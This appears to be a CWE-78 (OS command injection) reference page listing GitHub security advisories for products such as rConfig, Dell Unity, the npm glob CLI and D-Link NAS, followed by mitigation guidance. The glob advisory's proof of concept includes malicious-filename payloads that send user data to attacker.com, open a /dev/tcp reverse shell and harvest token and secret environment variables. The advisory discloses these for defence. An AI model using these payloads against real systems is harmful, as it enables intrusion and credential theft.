CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8324 vulnerabilities reference this CWE, most recent first.
GHSA-5J4X-23H3-96H4
Vulnerability from github – Published: 2022-03-25 00:00 – Updated: 2022-03-30 00:00Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/exeCommand.
{
"affected": [],
"aliases": [
"CVE-2022-26289"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-24T00:15:00Z",
"severity": "CRITICAL"
},
"details": "Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/exeCommand.",
"id": "GHSA-5j4x-23h3-96h4",
"modified": "2022-03-30T00:00:48Z",
"published": "2022-03-25T00:00:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26289"
},
{
"type": "WEB",
"url": "https://github.com/GD008/vuln/blob/main/tenda_M3_exeCommand/M3_exeCommand.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5J5X-JR29-33X7
Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2024-04-04 02:35An issue was discovered in rConfig 3.9.2. An attacker can directly execute system commands by sending a GET request to search.crud.php because the catCommand parameter is passed to the exec function without filtering, which can lead to command execution.
{
"affected": [],
"aliases": [
"CVE-2019-16663"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-28T12:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in rConfig 3.9.2. An attacker can directly execute system commands by sending a GET request to search.crud.php because the catCommand parameter is passed to the exec function without filtering, which can lead to command execution.",
"id": "GHSA-5j5x-jr29-33x7",
"modified": "2024-04-04T02:35:17Z",
"published": "2022-05-24T16:59:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16663"
},
{
"type": "WEB",
"url": "https://drive.google.com/open?id=1XmR2MSMb3cKARFk3XxmPkwz6GhAP1JxL"
},
{
"type": "WEB",
"url": "https://drive.google.com/open?id=1kQGmboKfwob4RwlMjnv6ER2Za1GUptOi"
},
{
"type": "WEB",
"url": "https://gist.github.com/mhaskar/e7e454c7cb0dd9a139b0a43691e258a0"
},
{
"type": "WEB",
"url": "https://rconfig.com/download"
},
{
"type": "WEB",
"url": "https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5J8C-VG3G-G62H
Vulnerability from github – Published: 2025-03-28 03:30 – Updated: 2025-03-28 03:30Dell Unity, version(s) 5.4 and prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Code execution and Elevation of privileges.
{
"affected": [],
"aliases": [
"CVE-2025-24385"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-28T03:15:18Z",
"severity": "HIGH"
},
"details": "Dell Unity, version(s) 5.4 and prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Code execution and Elevation of privileges.",
"id": "GHSA-5j8c-vg3g-g62h",
"modified": "2025-03-28T03:30:25Z",
"published": "2025-03-28T03:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24385"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000300090/dsa-2025-116-security-update-for-dell-unity-dell-unityvsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5J98-MCP5-4VW2
Vulnerability from github – Published: 2025-11-17 17:38 – Updated: 2025-11-19 02:30Summary
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow:
1. User runs glob -c <command> <pattern>
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using shell: true
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands
Affected Component:
- CLI Only: The vulnerability affects only the command-line interface
- Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
- Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)
Attack Surface:
- Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
- Any directory where attackers can control filenames (PR branches, archives, user uploads)
- CI/CD pipelines using glob -c on untrusted content
PoC
Setup Malicious File:
mkdir test_directory && cd test_directory
# Create file with command injection payload in filename
touch '$(touch injected_poc)'
Trigger Vulnerability:
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
Result:
- The echo command executes normally
- Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
- A new file injected_poc is created, proving command execution
- Any command can be injected this way with full user privileges
Advanced Payload Examples:
Data Exfiltration:
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
Reverse Shell:
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
Environment Variable Harvesting:
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact
Arbitrary Command Execution: - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise:
- Malicious PR adds files with crafted names to repository
- CI pipeline uses glob -c to process files (linting, testing, deployment)
- Commands execute in CI environment with build secrets and deployment credentials
- Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack:
- Developer clones repository or extracts archive containing malicious filenames
- Local build scripts use glob -c for file processing
- Developer machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems: - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning: - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems
Platform-Specific Risks: - POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing - Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
- Ecosystem: npm
- Package name: glob
- Component: CLI only (
src/bin.mts) - Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
- Introduced: v10.2.0 (first release with CLI containing
-c/--cmdoption) - Patched versions: 11.1.0and 10.5.0
Scope Limitation:
- Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
- CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable
Remediation
- Upgrade to
glob@10.5.0,glob@11.1.0, or higher, as soon as possible. - If any
globCLI actions fail, then convert commands containing positional arguments, to use the--cmd-arg/-goption instead. - As a last resort, use
--shellto maintainshell:truebehavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "glob"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "glob"
},
"ranges": [
{
"events": [
{
"introduced": "10.2.0"
},
{
"fixed": "10.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64756"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-17T17:38:56Z",
"nvd_published_at": "2025-11-17T18:15:58Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c \u003ccommand\u003e \u003cpatterns\u003e` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.\n\n### Details\n\n**Root Cause:**\nThe vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`:\n\n```javascript\nstream.on(\u0027end\u0027, () =\u003e foregroundChild(cmd, matches, { shell: true }))\n```\n\n**Technical Flow:**\n1. User runs `glob -c \u003ccommand\u003e \u003cpattern\u003e` \n2. CLI finds files matching the pattern\n3. Matched filenames are collected into an array\n4. Command is executed with matched filenames as arguments using `shell: true`\n5. Shell interprets metacharacters in filenames as command syntax\n6. Malicious filenames execute arbitrary commands\n\n**Affected Component:**\n- **CLI Only:** The vulnerability affects only the command-line interface\n- **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected\n- **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems)\n\n**Attack Surface:**\n- Files with names containing shell metacharacters: `$()`, backticks, `;`, `\u0026`, `|`, etc.\n- Any directory where attackers can control filenames (PR branches, archives, user uploads)\n- CI/CD pipelines using `glob -c` on untrusted content\n\n### PoC\n\n**Setup Malicious File:**\n```bash\nmkdir test_directory \u0026\u0026 cd test_directory\n\n# Create file with command injection payload in filename\ntouch \u0027$(touch injected_poc)\u0027\n```\n\n**Trigger Vulnerability:**\n```bash\n# Run glob CLI with -c option\nnode /path/to/glob/dist/esm/bin.mjs -c echo \"**/*\"\n```\n\n**Result:**\n- The echo command executes normally\n- **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell\n- A new file `injected_poc` is created, proving command execution\n- Any command can be injected this way with full user privileges\n\n**Advanced Payload Examples:**\n\n**Data Exfiltration:**\n```bash\n# Filename: $(curl -X POST https://attacker.com/exfil -d \"$(whoami):$(pwd)\" \u003e /dev/null 2\u003e\u00261)\ntouch \u0027$(curl -X POST https://attacker.com/exfil -d \"$(whoami):$(pwd)\" \u003e /dev/null 2\u003e\u00261)\u0027\n```\n\n**Reverse Shell:**\n```bash\n# Filename: $(bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261)\ntouch \u0027$(bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261)\u0027\n```\n\n**Environment Variable Harvesting:**\n```bash\n# Filename: $(env | grep -E \"(TOKEN|KEY|SECRET)\" \u003e /tmp/secrets.txt)\ntouch \u0027$(env | grep -E \"(TOKEN|KEY|SECRET)\" \u003e /tmp/secrets.txt)\u0027\n```\n\n### Impact\n\n**Arbitrary Command Execution:**\n- Commands execute with full privileges of the user running glob CLI\n- No privilege escalation required - runs as current user\n- Access to environment variables, file system, and network\n\n**Real-World Attack Scenarios:**\n\n**1. CI/CD Pipeline Compromise:**\n- Malicious PR adds files with crafted names to repository\n- CI pipeline uses `glob -c` to process files (linting, testing, deployment)\n- Commands execute in CI environment with build secrets and deployment credentials\n- Potential for supply chain compromise through artifact tampering\n\n**2. Developer Workstation Attack:**\n- Developer clones repository or extracts archive containing malicious filenames\n- Local build scripts use `glob -c` for file processing\n- Developer machine compromise with access to SSH keys, tokens, local services\n\n**3. Automated Processing Systems:**\n- Services using glob CLI to process uploaded files or external content\n- File uploads with malicious names trigger command execution\n- Server-side compromise with potential for lateral movement\n\n**4. Supply Chain Poisoning:**\n- Malicious packages or themes include files with crafted names\n- Build processes using glob CLI automatically process these files\n- Wide distribution of compromise through package ecosystems\n\n**Platform-Specific Risks:**\n- **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing\n- **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL\n- **Mixed Environments:** CI systems often use Linux containers regardless of developer platform\n\n### Affected Products\n\n- **Ecosystem:** npm\n- **Package name:** glob\n- **Component:** CLI only (`src/bin.mts`)\n- **Affected versions:** v10.2.0 through v11.0.3 (and likely later versions until patched)\n- **Introduced:** v10.2.0 (first release with CLI containing `-c/--cmd` option)\n- **Patched versions:** 11.1.0and 10.5.0\n\n**Scope Limitation:**\n- **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe\n- **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable\n\n### Remediation\n\n- Upgrade to `glob@10.5.0`, `glob@11.1.0`, or higher, as soon as possible.\n- If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead.\n- As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.",
"id": "GHSA-5j98-mcp5-4vw2",
"modified": "2025-11-19T02:30:52Z",
"published": "2025-11-17T17:38:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64756"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-glob"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "glob CLI: Command injection via -c/--cmd executes matches with shell:true"
}
GHSA-5J9X-M5HG-XQ7M
Vulnerability from github – Published: 2022-05-13 01:10 – Updated: 2022-05-13 01:10AppUse 4.0 allows shell command injection via a proxy field.
{
"affected": [],
"aliases": [
"CVE-2017-11566"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-25T15:29:00Z",
"severity": "HIGH"
},
"details": "AppUse 4.0 allows shell command injection via a proxy field.",
"id": "GHSA-5j9x-m5hg-xq7m",
"modified": "2022-05-13T01:10:20Z",
"published": "2022-05-13T01:10:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11566"
},
{
"type": "WEB",
"url": "https://gist.github.com/shiham101/4807e3dea54ee0f0456c47fcd1400e97"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5JCV-37H5-W6RH
Vulnerability from github – Published: 2026-01-30 09:30 – Updated: 2026-01-30 09:30Dell UnityVSA, version(s) 5.4 and prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to arbitrary command execution with root privileges.
{
"affected": [],
"aliases": [
"CVE-2026-22277"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-30T09:15:51Z",
"severity": "HIGH"
},
"details": "Dell UnityVSA, version(s) 5.4 and prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to arbitrary command execution with root privileges.",
"id": "GHSA-5jcv-37h5-w6rh",
"modified": "2026-01-30T09:30:55Z",
"published": "2026-01-30T09:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22277"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000421197/dsa-2026-054-security-update-for-dell-unity-dell-unityvsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5JFV-QCJP-C354
Vulnerability from github – Published: 2026-04-02 15:31 – Updated: 2026-04-02 15:31Endian Firewall version 3.3.25 and prior allow authenticated users to execute arbitrary OS commands via the DATE parameter to /cgi-bin/logs_firewall.cgi. The DATE parameter value is used to construct a file path that is passed to a Perl open() call, which allows command injection due to an incomplete regular expression validation.
{
"affected": [],
"aliases": [
"CVE-2026-34793"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-02T15:16:43Z",
"severity": "HIGH"
},
"details": "Endian Firewall version 3.3.25 and prior allow authenticated users to execute arbitrary OS commands via the DATE parameter to /cgi-bin/logs_firewall.cgi. The DATE parameter value is used to construct a file path that is passed to a Perl open() call, which allows command injection due to an incomplete regular expression validation.",
"id": "GHSA-5jfv-qcjp-c354",
"modified": "2026-04-02T15:31:41Z",
"published": "2026-04-02T15:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34793"
},
{
"type": "WEB",
"url": "https://help.endian.com/hc/en-us/sections/360004371358-Community"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/endian-firewall-cgi-bin-logs-firewall-cgi-date-perl-command-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5JJW-FVHQ-MW36
Vulnerability from github – Published: 2025-09-16 21:31 – Updated: 2026-05-26 15:32Ilevia EVE X1/X5 Server version ≤ 4.7.18.0.eden contains a vulnerability in its authentication mechanism. Unsanitized input is passed to a system() call for authentication, allowing attackers to inject special characters and manipulate command parsing. Due to the binary's interpretation of non-zero exit codes as successful authentication, remote attackers can bypass authentication and gain full access to the system.
{
"affected": [],
"aliases": [
"CVE-2025-34186"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-16T20:15:34Z",
"severity": "CRITICAL"
},
"details": "Ilevia EVE X1/X5 Server version \u2264 4.7.18.0.eden contains a vulnerability in its authentication mechanism. Unsanitized input is passed to a system() call for authentication, allowing attackers to inject special characters and manipulate command parsing. Due to the binary\u0027s interpretation of non-zero exit codes as successful authentication, remote attackers can bypass authentication and gain full access to the system.",
"id": "GHSA-5jjw-fvhq-mw36",
"modified": "2026-05-26T15:32:04Z",
"published": "2025-09-16T21:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34186"
},
{
"type": "WEB",
"url": "https://packetstorm.news/files/id/208871"
},
{
"type": "WEB",
"url": "https://www.ilevia.com"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/ilevia-eve-x1-x5-server-auth-bypass"
},
{
"type": "WEB",
"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5958.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5JMP-7G8V-5P3H
Vulnerability from github – Published: 2026-06-08 18:31 – Updated: 2026-06-08 18:31OpenBullet2 through version 0.3.2 contains a remote code execution vulnerability that allows authenticated users to execute arbitrary commands by uploading script files (.bat.ps1.sh) through the FileProxySource proxy loading feature. Attackers can upload malicious script files as proxy sources, causing the server to execute the scripts and return output as proxy lines, resulting in arbitrary command execution on the host as the process user.
{
"affected": [],
"aliases": [
"CVE-2026-25855"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-08T17:16:41Z",
"severity": "HIGH"
},
"details": "OpenBullet2 through version 0.3.2 contains a remote code execution vulnerability that allows authenticated users to execute arbitrary commands by uploading script files (.bat.ps1.sh) through the FileProxySource proxy loading feature. Attackers can upload malicious script files as proxy sources, causing the server to execute the scripts and return output as proxy lines, resulting in arbitrary command execution on the host as the process user.",
"id": "GHSA-5jmp-7g8v-5p3h",
"modified": "2026-06-08T18:31:51Z",
"published": "2026-06-08T18:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25855"
},
{
"type": "WEB",
"url": "https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openbullet2-authenticated-rce-via-fileproxysource-script-upload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5JP6-JC7M-X7Q9
Vulnerability from github – Published: 2026-05-11 06:31 – Updated: 2026-05-11 06:31A weakness has been identified in D-Link DNS-320 2.06B01. This impacts the function cgi_set_host/cgi_set_ntp/cgi_fan_control/cgi_merge_user of the file /cgi-bin/system_mgr.cgi. This manipulation causes os command injection. It is possible to initiate the attack remotely.
{
"affected": [],
"aliases": [
"CVE-2026-8273"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-11T05:16:16Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in D-Link DNS-320 2.06B01. This impacts the function cgi_set_host/cgi_set_ntp/cgi_fan_control/cgi_merge_user of the file /cgi-bin/system_mgr.cgi. This manipulation causes os command injection. It is possible to initiate the attack remotely.",
"id": "GHSA-5jp6-jc7m-x7q9",
"modified": "2026-05-11T06:31:33Z",
"published": "2026-05-11T06:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8273"
},
{
"type": "WEB",
"url": "https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/D-Link%20DNS-320%20%20system_mgraccount_mgrdsk_mgrapp_mgr%20Multiple%20CGI%20OS%20Command%20Injection.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/810082"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/362570"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/362570/cti"
},
{
"type": "WEB",
"url": "https://www.dlink.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
